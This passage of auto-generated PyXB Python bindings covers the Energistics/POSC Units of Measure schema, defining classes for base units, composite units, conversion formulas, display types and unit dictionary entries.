__isExplicit = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(None, 'isExplicit'), 'isExplicit', '__httpwww_posc_orgschemas_explicitType_isExplicit', pyxb.binding.datatypes.boolean)
__isExplicit._DeclarationLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 310, 6)
__isExplicit._UseLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 310, 6)
isExplicit = property(__isExplicit.value, __isExplicit.set, None, None)
_ElementMap.update({
})
_AttributeMap.update({
__isExplicit.name() : __isExplicit
})
_module_typeBindings.explicitType = explicitType
Namespace.addCategoryObject('typeBinding', 'explicitType', explicitType)
# Complex type {http://www.posc.org/schemas}baseUnitType with content type ELEMENT_ONLY
class baseUnitType (pyxb.binding.basis.complexTypeDefinition):
"""
A base unit, by our defintion, is one which represents a type of quantity,
and therefore has no conversion. It is the unit to which all others of the
quantity type are referenced. Base units may be among the basic types
defined by ISO (m, s, K, etc), or they may be units derived from these using
units algebra (m/s, Newtons, Pascals, etc). The definition (description) of
the unit may be given, along with the Basic Authority which defines it.
"""
_TypeDefinition = None
_ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY
_Abstract = False
_ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'baseUnitType')
_XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 315, 0)
_ElementMap = {}
_AttributeMap = {}
# Base type is pyxb.binding.datatypes.anyType
# Element {http://www.posc.org/schemas}Description uses Python identifier Description
__Description = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Description'), 'Description', '__httpwww_posc_orgschemas_baseUnitType_httpwww_posc_orgschemasDescription', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 327, 2), )
Description = property(__Description.value, __Description.set, None, None)
# Element {http://www.posc.org/schemas}BasicAuthority uses Python identifier BasicAuthority
__BasicAuthority = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'BasicAuthority'), 'BasicAuthority', '__httpwww_posc_orgschemas_baseUnitType_httpwww_posc_orgschemasBasicAuthority', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 328, 2), )
BasicAuthority = property(__BasicAuthority.value, __BasicAuthority.set, None, None)
_ElementMap.update({
__Description.name() : __Description,
__BasicAuthority.name() : __BasicAuthority
})
_AttributeMap.update({
})
_module_typeBindings.baseUnitType = baseUnitType
Namespace.addCategoryObject('typeBinding', 'baseUnitType', baseUnitType)
# Complex type {http://www.posc.org/schemas}sameUnitType with content type EMPTY
class sameUnitType (pyxb.binding.basis.complexTypeDefinition):
"""
Information from several catalogs may be recorded by stating that uoms from
different catalogs are the same. This is generally given by the uom "symbol"
in another catalog, along with the naming system. The uom may alternatively
be resolved as an actual reference to another XML registry, although this
interpretation is not required.
"""
_TypeDefinition = None
_ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_EMPTY
_Abstract = False
_ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'sameUnitType')
_XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 332, 0)
_ElementMap = {}
_AttributeMap = {}
# Base type is pyxb.binding.datatypes.anyType
# Attribute uom uses Python identifier uom
__uom = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(None, 'uom'), 'uom', '__httpwww_posc_orgschemas_sameUnitType_uom', pyxb.binding.datatypes.string, required=True)
__uom._DeclarationLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 342, 2)
__uom._UseLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 342, 2)
uom = property(__uom.value, __uom.set, None, None)
# Attribute namingSystem uses Python identifier namingSystem
__namingSystem = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(None, 'namingSystem'), 'namingSystem', '__httpwww_posc_orgschemas_sameUnitType_namingSystem', pyxb.binding.datatypes.string)
__namingSystem._DeclarationLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 343, 2)
__namingSystem._UseLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 343, 2)
namingSystem = property(__namingSystem.value, __namingSystem.set, None, None)
_ElementMap.update({
})
_AttributeMap.update({
__uom.name() : __uom,
__namingSystem.name() : __namingSystem
})
_module_typeBindings.sameUnitType = sameUnitType
Namespace.addCategoryObject('typeBinding', 'sameUnitType', sameUnitType)
# Complex type {http://www.posc.org/schemas}compositeUnitType with content type ELEMENT_ONLY
class compositeUnitType (pyxb.binding.basis.complexTypeDefinition):
"""
A composite unit may be defined by giving the units and the exponents needed
to form the composite. For example, a square foot would be a single UnitTerm,
with uom attribute = 'ft', and exponent attriube = '2'. A Newton (kg.m/s2)
would be three terms, with the kg (kilogram) unit having an exponent = '1',
a m (metre) unit with exponent = '1', and a s (second) unit having
exponent = '-2'.
"""
_TypeDefinition = None
_ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY
_Abstract = False
_ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'compositeUnitType')
_XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 346, 0)
_ElementMap = {}
_AttributeMap = {}
# Base type is pyxb.binding.datatypes.anyType
# Element {http://www.posc.org/schemas}UnitTerm uses Python identifier UnitTerm
__UnitTerm = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'UnitTerm'), 'UnitTerm', '__httpwww_posc_orgschemas_compositeUnitType_httpwww_posc_orgschemasUnitTerm', True, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 358, 4), )
UnitTerm = property(__UnitTerm.value, __UnitTerm.set, None, None)
_ElementMap.update({
__UnitTerm.name() : __UnitTerm
})
_AttributeMap.update({
})
_module_typeBindings.compositeUnitType = compositeUnitType
Namespace.addCategoryObject('typeBinding', 'compositeUnitType', compositeUnitType)
# Complex type [anonymous] with content type EMPTY
class CTD_ANON_2 (pyxb.binding.basis.complexTypeDefinition):
"""Complex type [anonymous] with content type EMPTY"""
_TypeDefinition = None
_ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_EMPTY
_Abstract = False
_ExpandedName = None
_XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 359, 6)
_ElementMap = {}
_AttributeMap = {}
# Base type is pyxb.binding.datatypes.anyType
# Attribute uom uses Python identifier uom
__uom = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(None, 'uom'), 'uom', '__httpwww_posc_orgschemas_CTD_ANON_2_uom', pyxb.binding.datatypes.anyURI, required=True)
__uom._DeclarationLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 360, 8)
__uom._UseLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 360, 8)
uom = property(__uom.value, __uom.set, None, None)
# Attribute exponent uses Python identifier exponent
__exponent = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(None, 'exponent'), 'exponent', '__httpwww_posc_orgschemas_CTD_ANON_2_exponent', pyxb.binding.datatypes.integer, required=True)
__exponent._DeclarationLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 361, 8)
__exponent._UseLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 361, 8)
exponent = property(__exponent.value, __exponent.set, None, None)
_ElementMap.update({
})
_AttributeMap.update({
__uom.name() : __uom,
__exponent.name() : __exponent
})
_module_typeBindings.CTD_ANON_2 = CTD_ANON_2
# Complex type {http://www.posc.org/schemas}conversionType with content type ELEMENT_ONLY
class conversionType (pyxb.binding.basis.complexTypeDefinition):
"""
A conversion to a base unit is defined as (A + BX)/(C + DX), where X is the
unit to be converted. The A, B, C, D are contained in the Formula choice.
Special cases are a single factor and a fraction. Examples are given with
the different elements. One of the three choices is mandatory.
"""
_TypeDefinition = None
_ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY
_Abstract = False
_ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'conversionType')
_XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 367, 0)
_ElementMap = {}
_AttributeMap = {}
# Base type is pyxb.binding.datatypes.anyType
# Element {http://www.posc.org/schemas}Description uses Python identifier Description
__Description = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Description'), 'Description', '__httpwww_posc_orgschemas_conversionType_httpwww_posc_orgschemasDescription', True, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 377, 2), )
Description = property(__Description.value, __Description.set, None, '\nA definition, description, or other comment about the unit of measure.\n ')
# Element {http://www.posc.org/schemas}Factor uses Python identifier Factor
__Factor = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Factor'), 'Factor', '__httpwww_posc_orgschemas_conversionType_httpwww_posc_orgschemasFactor', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 385, 4), )
Factor = property(__Factor.value, __Factor.set, None, '\nIf A = D = 0, and C = 1, the value of B becomes a factor. For example, \nthe conversion of an international foot to a metre is with Factor=".3048"\n ')
# Element {http://www.posc.org/schemas}Fraction uses Python identifier Fraction
__Fraction = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Fraction'), 'Fraction', '__httpwww_posc_orgschemas_conversionType_httpwww_posc_orgschemasFraction', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 393, 4), )
Fraction = property(__Fraction.value, __Fraction.set, None, "\nIf A = D = 0, B and C represent a fraction. For example, the conversion of a \nUS Survey foot to a metre is given with the fraction of 12 / 39.37. Hence,\n Numerator = '12', Denominator = '39.37'\n ")
# Element {http://www.posc.org/schemas}Formula uses Python identifier Formula
__Formula = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Formula'), 'Formula', '__httpwww_posc_orgschemas_conversionType_httpwww_posc_orgschemasFormula', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 408, 4), )
Formula = property(__Formula.value, __Formula.set, None, '\nA few units of measure do not have a factor or fraction. For example the \nconversion from degrees Celcius to Kelvin is given as degK = 273.15 + degC. \nHence, A = "273.15", B = "1.", C = "1.", D = "0."\n ')
# Attribute baseUnit uses Python identifier baseUnit
__baseUnit = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(None, 'baseUnit'), 'baseUnit', '__httpwww_posc_orgschemas_conversionType_baseUnit', pyxb.binding.datatypes.anyURI, required=True)
__baseUnit._DeclarationLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 428, 1)
__baseUnit._UseLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 428, 1)
baseUnit = property(__baseUnit.value, __baseUnit.set, None, '\nThe conversion is to a base unit. This attribute is a reference to the base \nunit. The base unit is generally defined within the same document, although \nthis does not need to be the case.\n ')
# Attribute modver uses Python identifier modver
__modver = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(None, 'modver'), 'modver', '__httpwww_posc_orgschemas_conversionType_modver', pyxb.binding.datatypes.string, fixed=True, unicode_default='2.0')
__modver._DeclarationLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 437, 1)
__modver._UseLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 437, 1)
modver = property(__modver.value, __modver.set, None, None)
_ElementMap.update({
__Description.name() : __Description,
__Factor.name() : __Factor,
__Fraction.name() : __Fraction,
__Formula.name() : __Formula
})
_AttributeMap.update({
__baseUnit.name() : __baseUnit,
__modver.name() : __modver
})
_module_typeBindings.conversionType = conversionType
Namespace.addCategoryObject('typeBinding', 'conversionType', conversionType)
# Complex type [anonymous] with content type ELEMENT_ONLY
class CTD_ANON_3 (pyxb.binding.basis.complexTypeDefinition):
"""
If A = D = 0, B and C represent a fraction. For example, the conversion of a
US Survey foot to a metre is given with the fraction of 12 / 39.37. Hence,
Numerator = '12', Denominator = '39.37'
"""
_TypeDefinition = None
_ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY
_Abstract = False
_ExpandedName = None
_XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 401, 5)
_ElementMap = {}
_AttributeMap = {}
# Base type is pyxb.binding.datatypes.anyType
# Element {http://www.posc.org/schemas}Numerator uses Python identifier Numerator
__Numerator = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Numerator'), 'Numerator', '__httpwww_posc_orgschemas_CTD_ANON_3_httpwww_posc_orgschemasNumerator', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 403, 8), )
Numerator = property(__Numerator.value, __Numerator.set, None, None)
# Element {http://www.posc.org/schemas}Denominator uses Python identifier Denominator
__Denominator = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Denominator'), 'Denominator', '__httpwww_posc_orgschemas_CTD_ANON_3_httpwww_posc_orgschemasDenominator', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 404, 8), )
Denominator = property(__Denominator.value, __Denominator.set, None, None)
_ElementMap.update({
__Numerator.name() : __Numerator,
__Denominator.name() : __Denominator
})
_AttributeMap.update({
})
_module_typeBindings.CTD_ANON_3 = CTD_ANON_3
# Complex type [anonymous] with content type ELEMENT_ONLY
class CTD_ANON_4 (pyxb.binding.basis.complexTypeDefinition):
"""
A few units of measure do not have a factor or fraction. For example the
conversion from degrees Celcius to Kelvin is given as degK = 273.15 + degC.
Hence, A = "273.15", B = "1.", C = "1.", D = "0."
"""
_TypeDefinition = None
_ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY
_Abstract = False
_ExpandedName = None
_XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 416, 5)
_ElementMap = {}
_AttributeMap = {}
# Base type is pyxb.binding.datatypes.anyType
# Element {http://www.posc.org/schemas}A uses Python identifier A
__A = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'A'), 'A', '__httpwww_posc_orgschemas_CTD_ANON_4_httpwww_posc_orgschemasA', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 418, 8), )
A = property(__A.value, __A.set, None, None)
# Element {http://www.posc.org/schemas}B uses Python identifier B
__B = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'B'), 'B', '__httpwww_posc_orgschemas_CTD_ANON_4_httpwww_posc_orgschemasB', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 419, 8), )
B = property(__B.value, __B.set, None, None)
# Element {http://www.posc.org/schemas}C uses Python identifier C
__C = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'C'), 'C', '__httpwww_posc_orgschemas_CTD_ANON_4_httpwww_posc_orgschemasC', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 420, 8), )
C = property(__C.value, __C.set, None, None)
# Element {http://www.posc.org/schemas}D uses Python identifier D
__D = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'D'), 'D', '__httpwww_posc_orgschemas_CTD_ANON_4_httpwww_posc_orgschemasD', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 421, 8), )
D = property(__D.value, __D.set, None, None)
_ElementMap.update({
__A.name() : __A,
__B.name() : __B,
__C.name() : __C,
__D.name() : __D
})
_AttributeMap.update({
})
_module_typeBindings.CTD_ANON_4 = CTD_ANON_4
# Complex type {http://www.posc.org/schemas}displayType with content type MIXED
class displayType (pyxb.binding.basis.complexTypeDefinition):
"""
This implementation of displayType allows a mixed type. It allows the
inclusion of a sub element (for subscript), sup element (for superscript),
and gr element (for greek). The greek symbol is given as a Unicode hex value.
For example, the mu would be X03BC.
"""
_TypeDefinition = None
_ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_MIXED
_Abstract = False
_ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'displayType')
_XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 440, 0)
_ElementMap = {}
_AttributeMap = {}
# Base type is pyxb.binding.datatypes.anyType
# Element {http://www.posc.org/schemas}sup uses Python identifier sup
__sup = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'sup'), 'sup', '__httpwww_posc_orgschemas_displayType_httpwww_posc_orgschemassup', True, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 450, 4), )
sup = property(__sup.value, __sup.set, None, None)
# Element {http://www.posc.org/schemas}sub uses Python identifier sub
__sub = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'sub'), 'sub', '__httpwww_posc_orgschemas_displayType_httpwww_posc_orgschemassub', True, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 451, 4), )
sub = property(__sub.value, __sub.set, None, None)
# Element {http://www.posc.org/schemas}gr uses Python identifier gr
__gr = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'gr'), 'gr', '__httpwww_posc_orgschemas_displayType_httpwww_posc_orgschemasgr', True, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 452, 4), )
gr = property(__gr.value, __gr.set, None, None)
_ElementMap.update({
__sup.name() : __sup,
__sub.name() : __sub,
__gr.name() : __gr
})
_AttributeMap.update({
})
_module_typeBindings.displayType = displayType
Namespace.addCategoryObject('typeBinding', 'displayType', displayType)
# Complex type {http://www.posc.org/schemas}unitDictionaryType with content type ELEMENT_ONLY
class unitDictionaryType (pyxb.binding.basis.complexTypeDefinition):
"""
A standard form for a units dictionary. This allows the developer of the
dictionary to record the basic information about a unit of measure (namely,
is it a base unit or a customary unit, convertible to a base unit. And what
is the conversion). It also allows some additional information, such as a
mapping to other unit dictionaries (using the Same Unit element). It also
allows a choice of unit symbols.
"""
_TypeDefinition = None
_ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY
_Abstract = False
_ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'unitDictionaryType')
_XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 44, 0)
_ElementMap = {}
_AttributeMap = {}
# Base type is pyxb.binding.datatypes.anyType
# Element {http://www.posc.org/schemas}Name uses Python identifier Name
__Name = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Name'), 'Name', '__httpwww_posc_orgschemas_unitDictionaryType_httpwww_posc_orgschemasName', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 56, 4), )
Name = property(__Name.value, __Name.set, None, '\nThe name of the unit. This does not necessarily need to be unique within \nthe catalog, but it probably should be. For example, there are several types \nof feet, all with different conversions. It is based on the converstions \nthat we should find the uniqueness.\n ')
# Element {http://www.posc.org/schemas}QuantityType uses Python identifier QuantityType
__QuantityType = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'QuantityType'), 'QuantityType', '__httpwww_posc_orgschemas_unitDictionaryType_httpwww_posc_orgschemasQuantityType', True, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 66, 4), )
QuantityType = property(__QuantityType.value, __QuantityType.set, None, '\nThis is an uncontrolled list to specify the quantity type that this uom is \nused for. Examples would be length, temperature, pressure, density.\n ')
# Element {http://www.posc.org/schemas}DimensionalClass uses Python identifier DimensionalClass
__DimensionalClass = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'DimensionalClass'), 'DimensionalClass', '__httpwww_posc_orgschemas_unitDictionaryType_httpwww_posc_orgschemasDimensionalClass', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 74, 4), )
DimensionalClass = property(__DimensionalClass.value, __DimensionalClass.set, None, '\nThe dimensional analysis of the unit. For example, a metre (m) would be of class [L], which represents length. A foot (ft) would also be in this class. Abbreviations used are L = length, M = mass, T = time, 1 = dimensionless, K = temperature, C = current, N = amount (mole), A = angle (radian), S = solid angle (sr), B = light amount (cd). For consistency, the values are broken into numerator and denominator, separated by a slash (/), in alphabetical order (LM, not ML). \n ')
# Element {http://www.posc.org/schemas}SameUnit uses Python identifier SameUnit
__SameUnit = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'SameUnit'), 'SameUnit', '__httpwww_posc_orgschemas_unitDictionaryType_httpwww_posc_orgschemasSameUnit', True, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 81, 4), )
SameUnit = property(__SameUnit.value, __SameUnit.set, None, '\nA unit of measure may have different expressions in different registries. \nThis allows zero or more of these mappings to be recorded. The SameUnit \nallows a uom and a naming system to be given. The uom is presumably the \nunique symbol in the other system.\n ')
# Element {http://www.posc.org/schemas}CatalogName uses Python identifier CatalogName
__CatalogName = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'CatalogName'), 'CatalogName', '__httpwww_posc_orgschemas_unitDictionaryType_httpwww_posc_orgschemasCatalogName', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 91, 4), )
CatalogName = property(__CatalogName.value, __CatalogName.set, None, '\nA uom is generally defined in a standard catalog of units somewhere. \nThis is the name of that catalog. The combination of CatalogName and \nCatalogSymbol should be unique.\n ')
# Element {http://www.posc.org/schemas}CatalogSymbol uses Python identifier CatalogSymbol
__CatalogSymbol = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'CatalogSymbol'), 'CatalogSymbol', '__httpwww_posc_orgschemas_unitDictionaryType_httpwww_posc_orgschemasCatalogSymbol', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 100, 4), )
CatalogSymbol = property(__CatalogSymbol.value, __CatalogSymbol.set, None, '\nThe symbol taken from the catalog. Within the catalog, defined by \nCatalogName, the CatalogSymbol should be unique. This element has an \nattribute, isExplicit, which states whether a uom symbol is explicitly \nin the catalog, or only implicitly defined.\n ')
# Element {http://www.posc.org/schemas}Display uses Python identifier Display
__Display = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Display'), 'Display', '__httpwww_posc_orgschemas_unitDictionaryType_httpwww_posc_orgschemasDisplay', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 110, 4), )
Display = property(__Display.value, __Display.set, None, '\nThis allows a unit to have tags that define a display. For example, a sub \nelement may be used to indicate a subscript. The displayType allows one more \nstandard choice for displaying a uom, depending on the medium that the \ninformation is being displayed on.\n ')
# Element {http://www.posc.org/schemas}Deprecated uses Python identifier Deprecated
__Deprecated = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Deprecated'), 'Deprecated', '__httpwww_posc_orgschemas_unitDictionaryType_httpwww_posc_orgschemasDeprecated', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 120, 4), )
Deprecated = property(__Deprecated.value, __Deprecated.set, None, '\nThis element is used to indicate that a unit is being deprecated. Normally, this means that the symbol representing the unit is no longer to be used (CatalogSymbol). It is generally replaced by another instance of the unit, which has a different symbol. For example, a cubic foot, with symbol, cu ft, would be deprecated, but there would be another instance of cubic foot, with symbol, ft3. The value of the instance repesents the version of the dictionary for which the value is first deprecated. A deprecated unit (symbol) is carried for backward compatibility, but will, at some point, be removed.\n ')
# Element {http://www.posc.org/schemas}BaseUnit uses Python identifier BaseUnit
__BaseUnit = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'BaseUnit'), 'BaseUnit', '__httpwww_posc_orgschemas_unitDictionaryType_httpwww_posc_orgschemasBaseUnit', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 138, 6), )
BaseUnit = property(__BaseUnit.value, __BaseUnit.set, None, None)
# Element {http://www.posc.org/schemas}ConversionToBaseUnit uses Python identifier ConversionToBaseUnit
__ConversionToBaseUnit = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'ConversionToBaseUnit'), 'ConversionToBaseUnit', '__httpwww_posc_orgschemas_unitDictionaryType_httpwww_posc_orgschemasConversionToBaseUnit', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 139, 6), )
ConversionToBaseUnit = property(__ConversionToBaseUnit.value, __ConversionToBaseUnit.set, None, None)
# Element {http://www.posc.org/schemas}CompositeUnit uses Python identifier CompositeUnit
__CompositeUnit = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'CompositeUnit'), 'CompositeUnit', '__httpwww_posc_orgschemas_unitDictionaryType_httpwww_posc_orgschemasCompositeUnit', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 141, 4), )
CompositeUnit = property(__CompositeUnit.value, __CompositeUnit.set, None, '\nA composite unit can be formed by an algebra of units. For example, a foot \nper second (quantity type of velocity) can be formed by a foot divided by \na second. This element allows the registry to identify composite units. \nNote that a composite unit is chosen to represent a quantity type.\nExample: metre per second. This uom is the base unit for the quantity type \nof velocity. A foot per second is also a composite unit, and can be converted \nto the base unit by defining a conversion formula.\n ')
# Attribute id uses Python identifier id
__id = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(None, 'id'), 'id', '__httpwww_posc_orgschemas_unitDictionaryType_id', _module_typeBindings.keyid, required=True)
__id._DeclarationLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 155, 2)
__id._UseLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 155, 2)
id = property(__id.value, __id.set, None, '\nThis is a key for referencing the unit in the dictionary. The id value \nshould be unique within the dictionary document. The value should carry \nno semantic meaning. However, it is common to use a simple unit symbol for \nthe id. Because of the requirements of DTD\'s, it was necessary to separate \nout the id, which was originally of type ID. The DTD ID type did not allow \nslashes "/" or spaces or astericks (*).\n ')
# Attribute annotation uses Python identifier annotation
__annotation = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(None, 'annotation'), 'annotation', '__httpwww_posc_orgschemas_unitDictionaryType_annotation', pyxb.binding.datatypes.string)
__annotation._DeclarationLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 167, 2)
__annotation._UseLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 167, 2)
annotation = property(__annotation.value, __annotation.set, None, '\nFor backward compatibility, the id value was selected to be a value of type \nID. Hence, a value, such as ft/s, could not be used for the ID value. The \nannotation attribute was introduced as a schema attribute that could allow \nthe "/". Hence, ft/s is possible. This is intended to be a simple annotation,\n based on the 7 bit ascii character set. A more complex display symbol can \nbe built using the Display element.\n ')
# Attribute modver uses Python identifier modver
__modver = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(None, 'modver'), 'modver', '__httpwww_posc_orgschemas_unitDictionaryType_modver', pyxb.binding.datatypes.string, fixed=True, unicode_default='2.0')
__modver._DeclarationLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 179, 2)
__modver._UseLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 179, 2)
modver = property(__modver.value, __modver.set, None, None)
_ElementMap.update({
__Name.name() : __Name,
__QuantityType.name() : __QuantityType,
__DimensionalClass.name() : __DimensionalClass,
__SameUnit.name() : __SameUnit,
__CatalogName.name() : __CatalogName,
__CatalogSymbol.name() : __CatalogSymbol,
__Display.name() : __Display,
__Deprecated.name() : __Deprecated,
__BaseUnit.name() : __BaseUnit,
__ConversionToBaseUnit.name() : __ConversionToBaseUnit,
__CompositeUnit.name() : __CompositeUnit
})
_AttributeMap.update({
__id.name() : __id,
__annotation.name() : __annotation,
__modver.name() : __modver
})
_module_typeBindings.unitDictionaryType = unitDictionaryType
Namespace.addCategoryObject('typeBinding', 'unitDictionaryType', unitDictionaryType)
# Complex type {http://www.posc.org/schemas}unitDefinitionType with content type ELEMENT_ONLY
class unitDefinitionType (pyxb.binding.basis.complexTypeDefinition):
"""
The unitDefinitionType is the same as the unitDictionaryType, with two
exceptions. It contains a possible IsUnknown element. It does not contain a
SameUnit. A unitDictionaryType is intended as a type for a registry, in which
all units are known and are being declared with their defintions. However,
when exchanging data, the sender may be passing through a value and uom, and
is not sure what the appropriate definition is for the uom. For example it
may read a file with FT as a uom, and the sender is not sure which type of
foot this is. When defining the uom in the resolution section, he may state
that the uom is unknown, but is probably ... an international foot.
"""
_TypeDefinition = None
_ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY
_Abstract = False
_ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'unitDefinitionType')
_XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 182, 0)
_ElementMap = {}
_AttributeMap = {}
# Base type is pyxb.binding.datatypes.anyType
# Element {http://www.posc.org/schemas}Name uses Python identifier Name
